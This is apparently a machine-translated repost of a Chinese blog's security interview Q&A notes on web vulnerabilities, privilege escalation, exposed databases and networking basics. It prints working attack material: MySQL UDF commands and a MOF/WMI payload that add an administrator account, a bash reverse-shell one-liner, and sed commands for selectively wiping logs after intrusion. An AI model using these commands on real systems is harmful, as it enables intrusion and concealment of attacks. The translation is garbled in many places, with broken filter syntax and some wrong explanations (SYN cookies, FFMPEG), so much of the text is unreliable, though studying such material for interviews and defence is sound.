ヘッダー内のリファラーの検証では、1 つは空のリファラー、もう 1 つはフィルタリングまたは検出が不完全なリファラーです。この問題を防ぐには、検証ホワイトリストに通常のルールを適切に記述する必要があります。

5. トークンに関して、トークンのどの側面が注目され、トークンのどの側面がテストされますか?

先輩からの回答を引用すると、

トークンへの攻撃としては、トークンそのものへの攻撃、テストの1回のリプレイ、暗号化ルールの解析、検証方法が正しいかどうかの検証などが挙げられ、次に情報漏洩の脆弱性を組み合わせてトークンを入手し、複合攻撃を仕掛けて情報漏洩を引き起こす可能性があります。
キャッシュ、ログ、取得、またはクロスサイトの使用である可能性があります。
多くのジャンプ ログインはトークンに依存しています。ジャンプの脆弱性と反射的なクロスサイトがある場合、ログイン ハイジャックに結合される可能性があります。
また、トークンを他のビジネスと組み合わせてトークンを記述することもできますが、赤い封筒を盗むなど、セキュリティやデザインが良くない場合、どうやって回避できるのでしょうか?

11.SSRF

SSRF (サーバーサイド リクエスト フォージェリ) は、サーバーによって開始されるリクエストを形成するために攻撃者によって構築されるセキュリティ脆弱性です。通常、SSRF 攻撃は、外部ネットワークからアクセスできない内部システムを標的とします。(サーバーによって開始されるため、サーバーに接続され、外部ネットワークから隔離された内部システムをリクエストできます)

SSRF が形成される理由のほとんどは、サーバーが他のサーバー アプリケーションからデータを取得する機能を提供し、ターゲット アドレスをフィルターまたは制限しないことです。たとえば、指定した URL アドレスから Web ページのテキスト コンテンツを取得したり、指定したアドレスから画像をロードしたり、ダウンロードしたりすることができます。

1. モニタリング

SSRF脆弱性の検証方法:

1) SSRF 脆弱性は、サーバーがリクエストを送信できるようにするセキュリティ脆弱性であるため、パケットをキャプチャし、リクエストがサーバーによって送信されたかどうかを分析することで、SSRF 脆弱性があるかどうかを判断できます。

2) ページのソース コードでアクセスされたリソース アドレスを見つけます。リソース アドレス タイプが www.baidu.com/xxx.php?image= (アドレス) の場合、SSRF 脆弱性 4[1] が存在する可能性があります。

2. SSRF脆弱性の原因と防御回避

原因: シミュレートされたサーバーは、正当性を検証せずに他のサーバー リソースを要求しました。利用: 検出のために悪意のあるイントラネット IP を構築するか、他のサポートされているプロトコルを使用して他のサービスを攻撃します。防御: ジャンプの禁止、プロトコルの制限、内部および外部のネットワーク制限、URL 制限。バイパス: 別のプロトコルを使用し、IP、IP 形式をバイパスし、URL、悪意のある URL、@ などに他の文字を追加します。301 ジャンプ + DNS の再バインド。

12. アップロード

1. ファイルアップロード脆弱性の原理

ユーザー ファイルのアップロードに対するプログラマーによる不十分な制御または処理の欠陥により、ユーザーは自分の権限を超えて実行可能な動的スクリプト ファイルをサーバーにアップロードする可能性があります。

2. 一般的なアップロード バイパス方法

フロントエンド js 検証: js/burp パッケージの変更を無効にし、
大文字
と小文字の二重接尾辞、
フィルターバイパス pphphp->php

3. 保護

ファイルのアップロード ディレクトリを実行不可に設定します。
ホワイトリストを使用してファイルのアップロードの種類を決定します
。ファイル名とパスを乱数で書き換えます。

4. アップロードポイントの要素を見直す意義は何ですか?

一部のサイトでは、アップロードされるファイルの種類の制限がフロントエンドで実装されており、この場合、アップロードの種類を追加するだけで制限が解除される可能性があります。

13. ファイルの内容

1. 原則

ユーザーが制御できるスクリプトまたはコードを導入し、サーバーに include() などの関数を実行させて、動的変数を介して含める必要があるファイルを導入します。ユーザーは動的変数を制御できます

2. ファイルを含める関数

PHP:include()、include_once()、require()、re-quire_once()、fopen()、readfile()、… JSP/サーブレット:ava.io.File()、java.io.Fil-eReader() , … ASP:ファイルをインクルード、仮想をインクルード、

3. ローカル ファイルには以下が含まれます

ローカル ファイルを開いてインクルードできる脆弱性は、ローカル ファイル インクルードの脆弱性と呼ばれます。

14. 論理的な抜け穴

1. 金融業界によくある論理の抜け穴

金融事業のみを対象とし、主なものとしては、データ改ざん(財務データや一部事業者の判定データ)、競争条件や不適切な設計による略奪、取引・注文情報の漏洩、他人アカウントの水平的不正閲覧や悪質な操作などが挙げられる。 . 、トランザクションまたはビジネス ステップがバイパスされます。

15. 中間者攻撃

中間者攻撃は、相互認証 (欠如) 攻撃であり、SSL ハンドシェイク中のクライアントとサーバー間の相互認証の欠如によって引き起こされる脆弱性です。

中間者攻撃を防御するソリューションは通常、次のテクノロジーに基づいています。

1. 公開キー基盤 PKI は PKI 相互認証メカニズムを使用し、クライアントはサーバーを検証し、サーバーはクライアントを検証します。上記の 2 つの例では、サーバーのみが検証されるため、SSL ハンドシェイク リンクに脆弱性が発生します。認証が使用される場合、基本的にはより強力な相互認証を提供できます。

2. 遅延テスト

複雑な暗号化ハッシュ関数を使用した計算では、数十秒の遅延が発生する可能性があります。通常、双方の計算に 20 秒かかり、相手に到達するまでの通信全体の計算に 60 秒かかる場合、これはサードパーティの仲介者の存在を示している可能性があります。 。

3. 他の形式の鍵交換を使用する

ARPスプーフィング

原理

各ホストには ARP キャッシュ テーブルがあり、このキャッシュ テーブルには IP アドレスと MAC アドレスの対応が記録されており、LAN のデータ送信は MAC アドレスに依存します。ARP キャッシュ テーブルのメカニズムに欠陥があります。つまり、要求元のホストが ARP 応答パケットを受信すると、他のホストに ARP 要求パケットを送信したかどうかを検証せず、返された IP アドレスを直接比較します。パケットと MAC アドレスの対応関係が ARP キャッシュ テーブルに保存され、同じ IP に対応する元の関係が存在する場合は、元の対応関係が置き換えられます。このようにして、攻撃者はホストによって送信されたデータを盗聴する可能性があります。

保護

1. ゲートウェイ MAC および IP アドレスをホストに静的にバインドします (デフォルトは動的)。コマンド: arp -s Gateway IP Gateway MAC

2. ゲートウェイ上のホスト MAC アドレスと IP アドレスをバインドします。

3. ARP ファイアウォールを使用する

16.DDOS

1. DDOSの原理

合理的なリクエストを使用してリソースの過負荷を引き起こし、サービスが利用できなくなる

シントレントの原理

大量の送信元 IP アドレスを偽造し、それぞれサーバーに大量の SYN パケットを送信します。このとき、サーバーは SYN/ACK パケットを返します。送信元アドレスが偽造されているため、偽造された IP アドレスは応答せず、サーバーはIP 応答は 3 ~ 5 回再試行され、SYNTime (通常 30 秒~2 分) 待機し、タイムアウトになると接続は破棄されます。攻撃者は、このような偽の送信元アドレスを使用して大量の SYN リクエストを送信し、サーバーはそのような半接続を処理するために大量のリソース (CPU とメモリ) を消費し、同時にこれらの半接続に対して SYN+ACK を常に再試行する必要があります。 IP。最終的な結果として、サーバーは通常の接続要求に応答する時間がなくなり、サービス拒否が発生します。

CC攻撃原理

サーバー側のリソースを消費するという目的を達成するために、大量のリソースを消費する一部のアプリケーション ページに対して通常のリクエストを継続的に開始します。

2.DOSS保護

SYN Cookie/SYN プロキシ、セーフリセット、その他のアルゴリズム。SYN Cookie の主なアイデアは、各 IP アドレスに「Cookie」を割り当て、各 IP アドレスのアクセス頻度をカウントすることです。同じ IP アドレスからのデータ パケットを短期間に大量に受信した場合、攻撃を受けていると見なされ、その IP アドレスからの後続のパケットは破棄されます。

17. 権限の昇格

MySQL で権限を昇格する 2 つの方法

udf 権限の昇格、mof 権限の昇格

MySQL_UDF 抽出

要件: 1. ターゲット システムは Windows (Win2000、: MYSQL 5.1 以降の場合、カスタム関数を作成するには、MYSQL インストール ディレクトリの lib\plugin フォルダに udf.dll ファイルを配置する必要があります。select @@ と入力できます) basedirshow 変数 (mysql の '%plugins%' など) を使用して、mysql のインストールを見つけます。パス権限の昇格:

SQL ステートメントを使用して関数関数を作成します。構文: Create Function 関数名 (関数名は次のリストのいずれか 1 つだけです) は文字列 soname 'エクスポートされた DLL パス' を返します。

create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

このディレクトリはデフォルトでは存在しないため、WebShell を使用して MYSQL インストール ディレクトリを見つけ、インストール ディレクトリに lib\plugin フォルダを作成してから、udf.dll ファイルをこのディレクトリにエクスポートする必要があります。

MySQL mof権限昇格

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

アップロードする前に18行目のコマンドを変更してください。

2.load_file および into dumpfile を実行して、ファイルを正しい場所にエクスポートします。

select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

実行が成功した後、通常のユーザーを追加し、コマンドを変更し、実行をアップロードおよびエクスポートしてユーザーを管理者権限にアップグレードすると、3389 接続が正常になります。

18. 特殊な抜け穴

1、支柱2-045

2. Redis は許可されていません

原因

デフォルトでは、Redis は 0.0.0.0:6379 にバインドされ、Redis サービスがパブリック ネットワークに公開されます。認証がオンになっていない場合、すべてのユーザーが承認なしでターゲット サーバーにアクセスできます。Redis と Redis からのデータの読み取り。Redis への許可されたアクセス権を持たない攻撃者は、Redis 関連のメソッドを使用して Redis サーバーに公開キーを正常に書き込み、対応する秘密キーを使用してターゲット サーバーに直接ログインする可能性があります。

利用条件と方法

状態:

a. Redis サービスが root アカウントで実行される
b. Redis にパスワードがない、または認証用のパスワードが弱い
c. Redis は 0.0.0.0 パブリック ネットワークでリッスンする

方法:

a. Redis の INFO コマンドを使用すると、サーバー関連のパラメータと機密情報を表示でき、攻撃者によるその後の侵入への道が開かれます b. SSH 公開キーをアップロードして SSH ログイン許可を取得します c. crontab を通じてシェルをリバウンド

ます
d. スレーブ マスター/スレーブ モードを使用します。

修理

パスワード検証、
制限された権限で実行、
IP の制限/ポートの変更

3. Jenkinsへの不正アクセス

4. MongoDBへの不正アクセス

攻撃者は、不正アクセスによってスクリプト コマンド実行インターフェイスに侵入し、攻撃指示を実行します。

println "ifconfig -a".execute().text いくつかのシステム コマンドを実行し、wget を使用して Web シェルをダウンロードします

パラメータを追加せずに MongoDB サービスを開始すると、デフォルトで権限の検証は行われず、データベースにリモートからアクセスできます。ログイン ユーザーは、データベースの追加、削除、変更、確認などのリスクの高い操作を、パスワードのないデフォルトのポート。

保護

MongoDB の認証を追加します。 1) MongoDB の起動時に –auth パラメーターを追加します。 2) MongoDB にユーザーを追加します。 use admin #管理ライブラリを使用する db.addUser(“root”, “123456”) #ユーザー名 root とパスワードを使用してユーザー データベースを追加します123456. auth("root","123456") #追加が成功したかどうかを確認します。成功を示すには 1 を返します。 2. HTTP ポートと REST ポートを無効にします。MongoDB 自体は HTTP サービスを備えており、REST インターフェイスをサポートしています。2.6 以降、これらのインターフェイスはデフォルトで閉じられます。デフォルトでは、mongoDB はデフォルトのポートを使用して Web サービスをリッスンします。通常、Web を介したリモート管理は必要ありません。これを無効にすることをお勧めします。構成ファイルを変更するか、起動時に –nohttpinterface パラメータ nohttpinterface=false を選択します。 3. バインディング IP を制限します。起動時にパラメータ –bind_ip 127.0.0.1 を追加するか、次の内容を /etc/mongodb.conf ファイルに追加します。 127.0.0.1

5. Memcacheへの不正アクセス

Memcached は一般的に使用されるキーと値のキャッシュ システムです。アクセス許可制御モジュールがないため、パブリック ネットワークに公開されている Memcache サービスは、攻撃者によって簡単にスキャンされ、発見されます。攻撃者は、コマンド インタラクションを通じて Memcached 内の機密情報を直接読み取ることができます。 。

利用

a. マシンにログインし、netstat -an |more コマンドを実行して、ポートの監視ステータスを確認します。エコー 0.0.0.0:11211 は、すべてのネットワーク カードが監視されており、memcached の不正アクセスの脆弱性があることを示しています。

b. Telnet 11211、または nc -vv 11211、接続が成功した場合、脆弱性は存在します。

脆弱性の強化

a. ローカル アクセスのみを許可するように memchached を設定します。 b. Memcached ポート 11211 への外部ネットワーク アクセスを無効にします。 c. コンパイル時に –enable-sasl を追加して、SASL 認証を有効にします。

6. FFMPEGローカルファイルの読み込み

原理

ペイロードをバイトのセグメントに暗号化し、暗号化 API を呼び出して実行します。ただし、プロジェクトに対する具体的な回答では、古い SSRF ホール、m3u8 ヘッダー、オフセット、暗号化についてのみ回答しました。

19. 安全に関する知識

1、WEB

一般的な WEB 開発 Java フレームワーク

STRUTS、SPRING Java フレームワークの一般的な脆弱性 実際、インタビュアーがこの質問をしたとき、私は彼が何を質問しているのかよくわかりませんでしたが、Java で一般的な逆シリアル化である Struts の 045 048 について言及しました。045 エラー処理により ognl 式が導入されます。 048 アクションをカプセル化するプロセスでは、getstackvalue を呼び出して ognl 式逆シリアル化操作オブジェクトを再帰的に取得するステップがあり、これは手段によって導入されます。Apache共通の反映機構とreadobjectの書き換え、実は詳しくは覚えていない。それではこの部分は終わりです

同一生成元ポリシー

同一生成元ポリシーは、異なるソースによる現在のドキュメントの属性コンテンツの読み取りまたは設定を制限します。さまざまなソースの区別: プロトコル、ドメイン名、サブドメイン名、IP、ポート 上記に違いがある場合は、ソースが異なることを意味します。

Jsonpセキュリティ攻撃と防御技術、Jsonp攻撃ページの書き方

Jsonp を含むセキュリティ攻撃および防御コンテンツ

JSON ハイジャック、コールバックを定義でき、JSONP コンテンツを定義でき、Content-type が json ではありません。

攻撃ページ

JSON ハイジャック、機密情報のクロスドメイン ハイジャック、ページは次のようなものです

関数 wooyun(v){ アラート(v.ユーザー名); }

Content-type が正しくない場合、JSONP および Callback コンテンツが定義される可能性があり、XSS が発生する可能性があります。JSONP、FLASH、その他のアプリケーションについては、Chuangyu の JSONP セキュリティ攻撃および防御テクノロジーを参照してください。

2、PHP

PHPのコマンド実行に関わる関数

代コード実行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru()、pcntl_exec()、call_user_func_array()、create_function()

文例读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()など

コマンド実行: system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open() セーフ モードでの
PHP の無効化機能をバイパスします。

DL 機能、コンポーネントの脆弱性、環境変数。
PHPの弱い型付け

== 比較する場合、文字列型はまず同じ型に変換されてから比較されます。

数値と文字列を比較する場合、または数値コンテンツを含む文字列を比較する場合、文字列は数値に変換され、比較は数値として実行されます。

0e で始まる文字列は 0 と等しい

3. データベース

各種データベースファイルが保存される場所

mysql:
/usr/local/mysql/data/ 
C:\ProgramData\MySQL\MySQL Server 5.6\Data\
oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

4. システム

ログをクリアする方法

meterpreter:
clearev が Linux サーバーに侵入した後、どのログをクリアする必要がありますか?

Apache の access.log、error.log などの Web ログ。ログを直接クリアするのはあまりにも明白なので、ターゲットを絞ったクリアには sed が使用されるのが一般的です。

e.g. sed -i -e ‘/192.169.1.1/d’

History コマンドのクリアは、~/.bash_history の指示されたクリアでもあります。

wtmp ログのクリア /var/log/wtmp

ログイン ログ クリア /var/log/secure現在のポート接続を確認するための
LINUXコマンドは何ですか?
netstat と ss コマンドの違い、利点、欠点

netstat -antp` `ss -l

ss の利点は、TCP と接続ステータスに関するより詳細な情報を表示できることと、netstat よりも高速かつ効率的であることです。
リバウンドシェルの一般的なコマンド? よく弾かれるのはどの砲弾ですか? なぜ?

bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

Linux システムの /proc ディレクトリからどのような情報を取得できますか?また、この情報はどのようなセキュリティ アプリケーションに使用できますか?

ls /proc

システム情報、ハードウェア情報、カーネル バージョン、ロードされたモジュール、およびプロセス
Linux システムでは、構成ファイルの構成項目を検出すると、SSH のセキュリティを向上させることができます。

/etc/ssh/sshd___configiptables 構成
1 つのコマンドでファイル内容の最後の 100 行を表示する方法

tail -n 100 filename

Windows は
ドメイン環境における Windows デスクトップの作業環境をどのように強化しますか? ご意見をお聞かせください。

5. 暗号化


AES/DES RSA アルゴリズムの具体的な作業手順

暗号化:
暗号文 = 平文 ^EmodN

RSA暗号化は、平文をE乗してNで割る処理です。公開
鍵=(E,N)

復号化:
平文 = 暗号文 ^DmodN 秘密鍵 = (D, N)

3 つのパラメータ n、e1、e2

n は 2 つの大きな素数 p と q の積です
ブロック暗号の暗号化方式
安全な乱数を生成するにはどうすればよいですか?

以前の先輩の回答を引用すると、電圧変動、読み取り/書き込み時のディスクヘッドのシーク時間、空気中の電磁波ノイズなど、いくつかの物理システムを通じて乱数が生成される可能性があります。
SSLハンドシェイクプロセス

TCP 接続を確立し、クライアントが SSL リクエストを送信し、サーバーが SSL リクエストを処理し、クライアントが公開キーで暗号化されたランダム データを送信し、サーバーが秘密キーで暗号化されたランダム データを復号化し、パスワードをネゴシエートします。クライアント使用 シークレットコードにより暗号化アルゴリズムとキーが生成され、正常に通信されます。この部分は元々忘れていたのですが、以前SSL Pinningを見ていたら頭の中にイメージがあったようで、ずっと悩んだのですが、やはり確信が持てなかったので諦めました。
対称暗号化と非対称暗号化の違いは何ですか?また、それらは何に使用されますか?

6、TCP/IP

TCP 3 ウェイ ハンドシェイク プロセスとそれに対応する状態遷移

(1) クライアントは、クライアントが使用するポート番号と初期シーケンス番号 x を含む SYN パケットをサーバーに送信します; (2) クライアントから SYN パケットを受信した後、サーバーはクライアントに SYN と ACK を送信し
ます両方のビットが設定された TCP メッセージには、確認番号 xx1 とサーバーの初期シーケンス番号 y が含まれます (
3) サーバーから返された SYNSACK メッセージを受信した後、クライアントは確認番号 yy1 とシーケンス番号 xx1 をサーバーに返します。 、標準の TCP 接続が完了します。
TCP プロトコルと UDP プロトコルの違い


TCPはコネクション指向、UDPはメッセージ指向である TCPはシステムリソースの要件が多い UDPは構造が単純である TCPはデータの整合性と順序を保証する UDPはhttpsの確立プロセスを保証しない

a. クライアントはサーバーにリクエストを送信します
b. サーバーは証明書と公開キーを返します 公開キーは証明書の一部として存在します
c. クライアントは証明書と公開キーの有効性を検証します 有効であれば、共有秘密鍵は公開鍵を使用して暗号化され、サーバーに送信されます
d. サーバーは秘密鍵を使用してデータを復号化し、受信した共有鍵を使用してデータを暗号化してクライアントに送信します e. クライアント
はデータを復号化するための共有キー
f. SSL 暗号化確立

7. トラフィック分析

Wireshark の単純なフィルタリング ルール

フィルターIP:

フィルタ送信元 IP アドレス: ip.src1.1.1.1;、宛先 IP アドレス: ip.dst1.1.1.1;

フィルターポート:

フィルタ ポート 80: tcp.port80、送信元ポート: tcp.srcport80、宛先ポート: tcp.dstport==80

プロトコルフィルタリング:

http プロトコル http など、プロトコル名を直接入力するだけです。

httpモードフィルタリング:

フィルター get/post パッケージ http.request.method=="GET/POST"

8. ファイアウォール

ルーター、スイッチ、ファイアウォール、その他のネットワーク機器で一般的に使用されるいくつかの基本的な構成強化項目と構成方法について簡単に説明します。

この記事はインターネットから転載されたものであり、削除されました。

おすすめ

転載: blog.csdn.net/qq_30163677/article/details/130859459